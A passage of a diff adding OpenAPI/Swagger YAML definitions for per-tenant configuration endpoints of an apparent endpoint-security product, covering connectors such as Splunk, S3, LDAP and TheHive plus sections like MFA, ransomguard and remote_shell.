+            $ref: '#/definitions/GetExport'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/export_elastic/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_export_elastic_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportElastic'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_export_elastic_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditExportElastic'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportElastic'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/export_elastic/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_tenant_export_elastic_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportElastic'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/export_s3/:
+    get:
+      consumes:
+        - multipart/form-data
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_export_s3_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportS3'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      consumes:
+        - multipart/form-data
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_export_s3_partial_update
+      parameters:
+        - default: false
+          in: formData
+          name: enabled
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: url
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: bucket
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: object_prefix
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: access_key
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: secret_key
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: region
+          required: false
+          type: string
+          x-nullable: true
+        - collectionFormat: multi
+          default: []
+          in: formData
+          items:
+            enum:
+              - alert
+              - authentication
+              - dns_resolution
+              - experimental_alert
+              - file
+              - informational_alert
+              - injectedthread
+              - library_load
+              - network
+              - network_listen
+              - process
+              - raw_socket_creation
+              - remotethread
+              - url_request
+            type: string
+          name: logs
+          required: false
+          type: array
+          x-nullable: true
+        - default: false
+          in: formData
+          name: ssl_verify
+          required: false
+          type: boolean
+        - in: formData
+          name: ssl_cacert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_cert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_key
+          required: false
+          type: file
+          x-nullable: true
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportS3'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/export_s3/defaults/:
+    get:
+      consumes:
+        - multipart/form-data
+      description: Get default connector configuration
+      operationId: supervisor_config_tenant_export_s3_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportS3'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/export_secops/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_export_secops_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportSecops'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_export_secops_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditExportSecops'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportSecops'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/export_secops/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_tenant_export_secops_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportSecops'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/export_splunk/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_export_splunk_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportSplunk'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_export_splunk_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditExportSplunk'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportSplunk'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/export_splunk/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_tenant_export_splunk_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportSplunk'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/glimps/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_glimps_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetGlimps'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_glimps_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditGlimps'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetGlimps'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/glimps/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_tenant_glimps_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetGlimps'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/hibou/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_hibou_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Hibou'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_hibou_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Hibou'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Hibou'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/hibou/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_hibou_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Hibou'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/irma/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_irma_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetIrma'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_irma_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditIrma'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetIrma'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/irma/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_tenant_irma_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetIrma'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/ldap_auth/:
+    get:
+      consumes:
+        - multipart/form-data
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_ldap_auth_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetLDAPAuth'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      consumes:
+        - multipart/form-data
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_ldap_auth_partial_update
+      parameters:
+        - default: false
+          in: formData
+          name: enabled
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: host
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          maximum: 65535
+          minimum: 1
+          name: port
+          required: false
+          type: integer
+          x-nullable: true
+        - default: false
+          in: formData
+          name: use_tls
+          required: false
+          type: boolean
+        - in: formData
+          name: validate_server_certificate
+          required: true
+          type: boolean
+        - default: false
+          in: formData
+          name: use_client_side_certs
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: base_dn
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          name: active_directory_domain
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: search_account_username
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: search_account_password
+          required: false
+          type: string
+          x-nullable: true
+        - format: uuid
+          in: formData
+          name: default_group
+          required: false
+          type: string
+          x-nullable: true
+        - default: active_directory
+          in: formData
+          minLength: 1
+          name: type
+          required: false
+          type: string
+        - default: person
+          in: formData
+          minLength: 1
+          name: user_object_class
+          required: false
+          type: string
+        - default: sAMAccountName
+          in: formData
+          minLength: 1
+          name: user_field_id
+          required: false
+          type: string
+        - in: formData
+          name: client_public_key
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: client_private_key
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ca_certifications
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: test_username
+          required: false
+          type: string
+          x-nullable: true
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetLDAPAuth'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/ldap_auth/defaults/:
+    get:
+      consumes:
+        - multipart/form-data
+      description: Get default connector configuration
+      operationId: supervisor_config_tenant_ldap_auth_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetLDAPAuth'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/mfa/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_mfa_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/MFA'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_mfa_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/MFA'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/MFA'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/mfa/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_mfa_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/MFA'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/network_discovery/:
+    get:
+      description: ""
+      operationId: supervisor_config_tenant_network_discovery_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetworkDiscoveryConfig'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: supervisor_config_tenant_network_discovery_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/NetworkDiscoveryConfig'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetworkDiscoveryConfig'
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/network_discovery/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_network_discovery_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetWDiscovery'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/new_threat_aggregation/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_new_threat_aggregation_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NewThreatAggregation'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_new_threat_aggregation_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/NewThreatAggregation'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NewThreatAggregation'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/new_threat_aggregation/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_new_threat_aggregation_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NewThreatAggregation'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/orion/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_orion_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetOrion'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_orion_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditOrion'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetOrion'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/orion/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_tenant_orion_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetOrion'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/password_security/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_password_security_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PasswordSecurity'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_password_security_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PasswordSecurity'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PasswordSecurity'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/password_security/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_password_security_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PasswordSecurity'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/pdf_retention/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_pdf_retention_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PDFRetention'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_pdf_retention_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PDFRetention'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PDFRetention'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/pdf_retention/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_pdf_retention_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PDFRetention'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/proxy/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_proxy_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetProxy'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_proxy_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditProxy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetProxy'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/proxy/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_tenant_proxy_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetProxy'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/ransomguard/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_ransomguard_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Ransomguard'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_ransomguard_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Ransomguard'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Ransomguard'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/ransomguard/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_ransomguard_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Ransomguard'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/ransomguard_heuristic/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_ransomguard_heuristic_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RansomguardHeuristic'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_ransomguard_heuristic_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RansomguardHeuristic'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RansomguardHeuristic'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/ransomguard_heuristic/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_ransomguard_heuristic_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RansomguardHeuristic'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/remote_shell/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_remote_shell_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShell'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_remote_shell_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RemoteShell'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShell'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/remote_shell/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_remote_shell_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShell'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/security/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_security_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Security'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_security_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Security'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Security'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/security/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_security_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Security'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/sidewatch/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_sidewatch_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Sidewatch'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_sidewatch_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Sidewatch'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Sidewatch'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/sidewatch/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_sidewatch_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Sidewatch'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/thehive/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_thehive_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetThehive'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_thehive_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditThehive'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetThehive'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/thehive/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_tenant_thehive_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetThehive'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/threat_intelligence/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
